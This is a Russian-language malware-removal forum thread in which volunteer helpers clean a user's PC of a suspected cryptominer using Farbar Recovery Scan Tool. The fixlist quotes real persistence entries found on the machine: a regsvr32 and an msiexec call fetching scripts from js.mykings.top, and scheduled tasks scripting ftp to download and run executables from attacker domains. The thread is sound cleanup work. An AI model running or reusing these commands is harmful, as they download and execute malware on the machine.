Printable View
Переодически комп как-то подозрительно начинает тормозить, как при недостатке оперативной памяти. Вкладки в лисе начинают падать, проводник подтормаживать. Хотя при этом свободно порядка 10+ гиг RAM, и в диспечере ничего такого не видно. Подозреваю Bitcoin майнер или нечто подобное, ничего не видно такого по логам?
Уважаемый(ая) [B]vanya1990[/B], спасибо за обращение на наш форум!
Помощь при заражении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в [URL="https://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].
[INFORMATION]Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом [URL="https://virusinfo.info/content.php?r=613-sub_pomogite"]Помогите+[/URL].[/INFORMATION]
Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="https://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].
Обновления для системы все установлены, включая патч против WannaCry?
[QUOTE=thyrex;1456052]Обновления для системы все установлены, включая патч против WannaCry?[/QUOTE]
Да, патч для ваннакрай от SMB уязвимости тоже установлен, вручную.
Скачайте [url=http://www.bleepingcomputer.com/download/farbar-recovery-scan-tool/][b]Farbar Recovery Scan Tool[/b][/url] [img]http://i.imgur.com/NAAC5Ba.png[/img] и сохраните на Рабочем столе.
[list][*][b]Примечание[/b]: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.[/list]
1. Запустите программу двойным щелчком. Когда программа запустится, нажмите [b]Yes[/b] для соглашения с предупреждением.
2. Убедитесь, что в окне [b]Optional Scan[/b] отмечены [i]List BCD[/i], [i]Driver MD5[/i] и [i]90 Days Files[/i].
[img]http://i.imgur.com/3munStB.png[/img]
3. Нажмите кнопку [b]Scan[/b].
4. После окончания сканирования будет создан отчет ([b]FRST.txt[/b]) в той же папке, откуда была запущена программа.
5. Если программа была запущена в первый раз, также будет создан отчет ([b]Addition.txt[/b]).
6. Отчеты, полученные в пп. 4 и 5, заархивируйте (в [b]один архив[/b]) и прикрепите к сообщению.
Да, пожалуйста, вот отчёты.
1. Откройте [b]Блокнот[/b] и скопируйте в него приведенный ниже текст
[code]
CreateRestorePoint:
HKLM\...\Run: [start] => regsvr32 /u /s /i:hxxp://js.mykings.top:280/v.sct scrobj.dll <==== ATTENTION
HKLM\...\Run: [start1] => msiexec.exe /i hxxp://js.mykings.top:280/helloworld.msi /q <==== ATTENTION
IFEO\ageofconan.exe: [Debugger] "C:\Program Files (x86)\Age of Conan Quick Start\aoclaunch.exe"
IFEO\ageofconandx10.exe: [Debugger] "C:\Program Files (x86)\Age of Conan Quick Start\aoclaunch.exe"
CHR HKU\S-1-5-21-1314904569-1787587424-2820689198-500\SOFTWARE\Policies\Google: Restriction <==== ATTENTION
HKU\S-1-5-21-1314904569-1787587424-2820689198-500\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://sindex.biz/?company=5
FF NetworkProxy: Mozilla\Firefox\Profiles\6l5agwu8.default -> backup.gopher", "83.69.224.215"
FF NetworkProxy: Mozilla\Firefox\Profiles\6l5agwu8.default -> backup.gopher_port", 3128
FF NetworkProxy: Mozilla\Firefox\Profiles\6l5agwu8.default -> ftp", "83.69.224.215"
FF NetworkProxy: Mozilla\Firefox\Profiles\6l5agwu8.default -> ftp_port", 3128
FF NetworkProxy: Mozilla\Firefox\Profiles\6l5agwu8.default -> gopher", "83.69.224.215"
FF NetworkProxy: Mozilla\Firefox\Profiles\6l5agwu8.default -> gopher_port", 3128
FF NetworkProxy: Mozilla\Firefox\Profiles\6l5agwu8.default -> http", "83.69.224.215"
FF NetworkProxy: Mozilla\Firefox\Profiles\6l5agwu8.default -> http_port", 3128
FF NetworkProxy: Mozilla\Firefox\Profiles\6l5agwu8.default -> no_proxies_on", "localhost, 127.0.0.1, youtube.com"
FF NetworkProxy: Mozilla\Firefox\Profiles\6l5agwu8.default -> socks", "83.69.224.215"
FF NetworkProxy: Mozilla\Firefox\Profiles\6l5agwu8.default -> socks_port", 3128
FF NetworkProxy: Mozilla\Firefox\Profiles\6l5agwu8.default -> ssl", "83.69.224.215"
FF NetworkProxy: Mozilla\Firefox\Profiles\6l5agwu8.default -> ssl_port", 3128
FF NetworkProxy: Mozilla\Firefox\Profiles\6l5agwu8.default -> type", 0
CHR HKLM-x32\...\Chrome\Extension: [dljdacfojgikogldjffnkdcielnklkce] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [odijcgafkhpobjlnfdgiacpdenpmbgme] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [phkdcinmmljblpnkohlipaiodlonpinf] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [pmpoaahleccaibbhfjfimigepmfmmbbk] - hxxps://clients2.google.com/service/update2/crx
ContextMenuHandlers01: [WinRAR32] -> {B41DB860-8EE4-11D2-9906-E49FADC173CA} => -> No File
ContextMenuHandlers02: [VMDiskMenuHandler] -> {271DC252-6FE1-4D59-9053-E4CF50AB99DE} => -> No File
ContextMenuHandlers06: [WinRAR32] -> {B41DB860-8EE4-11D2-9906-E49FADC173CA} => -> No File
Task: {5C84E59C-2523-4FBA-B860-93A818EB7831} - System32\Tasks\ok => Rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa
Task: {8BE14CA7-B4B8-4769-A9F4-46D59CEC4E9C} - System32\Tasks\Mysa2 => cmd /c echo open ftp.oo000oo.me>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p <==== ATTENTION
Task: {A289777A-6A47-4A5E-941B-25375707A59B} - System32\Tasks\{1C2F1EDF-523E-497C-BF86-EB618C52AF50} => pcalua.exe -a "C:\Program Files (x86)\レミリア地獄変 \Install.exe" -d "C:\Program Files (x86)\レミリア地獄変 "
c:\windows\debug\ok.dat
c:\windows\debug\item.dat
Task: {B46DB4B2-7509-4A2B-9718-6150534EC9B3} - System32\Tasks\Mysa => cmd /c echo open down.mysking.info>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe>>s&echo bye>>s&ftp -s:s&a.exe <==== ATTENTION
Task: {CEFA5CF9-6B2E-4D01-BB62-89EDF81D220C} - System32\Tasks\Mysa1 => Rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa <==== ATTENTION
Task: {D0555A27-11D5-49A0-8E78-B1A1F91E861A} - System32\Tasks\YTDownloader => C:\Program Files (x86)\YTDownloader\YTDownloader.exe <==== ATTENTION
WMI_ActiveScriptEventConsumer_fuckyoumm2_consumer: <==== ATTENTION
AlternateDataStreams: C:\ProgramData\sdpsenv.dat:naughtypirates [80]
AlternateDataStreams: C:\ProgramData\TEMP:41ADDB8A [131]
AlternateDataStreams: C:\ProgramData\TEMP:5F21A21D [133]
AlternateDataStreams: C:\ProgramData\TEMP:A064CECC [144]
Reboot:
[/code]
2. Нажмите [b]Файл[/b] – [b]Сохранить как[/b]
3. Выберите папку, откуда была запущена утилита [b]Farbar Recovery Scan Tool[/b]
4. Укажите [b]Тип файла[/b] – [b]Все файлы (*.*)[/b]
5. Введите имя файла [b]fixlist.txt[/b] и нажмите кнопку [b]Сохранить[/b]
6. Запустите FRST, нажмите один раз на кнопку [b]Fix[/b] и подождите. Программа создаст лог-файл ([b]Fixlog.txt[/b]). Пожалуйста, прикрепите его в следующем сообщении.
[list][*]Обратите внимание, что будет выполнена [b]перезагрузка компьютера[/b].[/list]
Вот лог, пожалуйста.
У меня, правда, после этой операции куда-то мой купленный на ruproxy, проксик делся. Пришлось его заново забить в настройки браузера.
Что с проблемой?
Да вроде бы пол лучше стало, только вкладки довольно часто падают в лисе. Вот просто открываешь 3-4 вкладки с ютуба и бац, вкладка упала. Заново перезагружай страницы. =(
А что вообще, в целом, мои опасения не подтвердились? По поводу майнера, нет его по логам в системе?
UPDATE 13.07.2017
Есть майнер таки, я его сам вычилил. Файл lsmo.exe ([url]https://www.virustotal.com/ru/file/981528cbeafd245f003c838e0db3fb55d755b447631b0472fd2c164de72dcaee/analysis/1499898205/[/url]) находящийся в папке C:\Windows\Help\lsmo.exe
Теперь подскажите как его правильно и полностью вычистить из системы?
Ап чтоли...
Сделайте лог [url="http://virusinfo.info/showthread.php?t=53070&p=1104657&viewfull=1#post1104657"]полного сканирования МВАМ[/url]
Вот лог. Судя по всему всё в порядке теперь?
Ничего плохого в логе.
Удалите МВАМ.
Спасибо за помощь! Тему можно закрывать.